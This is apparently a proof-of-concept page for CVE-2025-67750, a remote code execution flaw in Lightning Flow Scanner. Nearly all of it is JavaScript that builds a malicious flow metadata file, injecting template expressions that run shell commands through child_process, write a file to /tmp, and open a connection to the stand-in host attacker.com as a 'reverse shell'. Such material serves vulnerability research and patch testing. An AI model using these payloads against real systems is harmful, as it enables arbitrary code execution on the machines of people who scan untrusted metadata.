Lightning Flow Scanner 远程代码执行漏洞 (CVE-2025-67750)

/* CVE-2025-67750 PoC - Malicious Flow Metadata File This PoC demonstrates arbitrary JavaScript execution via APIVersion rule in Lightning Flow Scanner <= 6.10.5 */ // Create a malicious flow metadata file with embedded JavaScript payload const maliciousFlowMetadata = { Flow: { '@': { xmlns: 'http://soap.sforce.com/2006/04/metadata', apiVersion: '58.0' }, description: 'Malicious flow metadata', // The APIVersion rule evaluates this expression using new Function() // Attacker can inject arbitrary JavaScript here apiVersion: '${require("child_process").execSync("whoami")}' } }; // Example: Exfiltrate environment variables const exfilPayload = '${require("child_process").execSync("echo $PATH")}'; // Example: Write arbitrary file const fileWritePayload = '${require("fs").writeFileSync("/tmp/pwned","hacked")}'; // Example: Reverse shell payload const reverseShellPayload = '${require("net").createConnection(4444,"attacker.com")}'; console.log('PoC for CVE-2025-67750'); console.log('Generate malicious flow XML file and scan with vulnerable version'); console.log('Payload:', exfilPayload);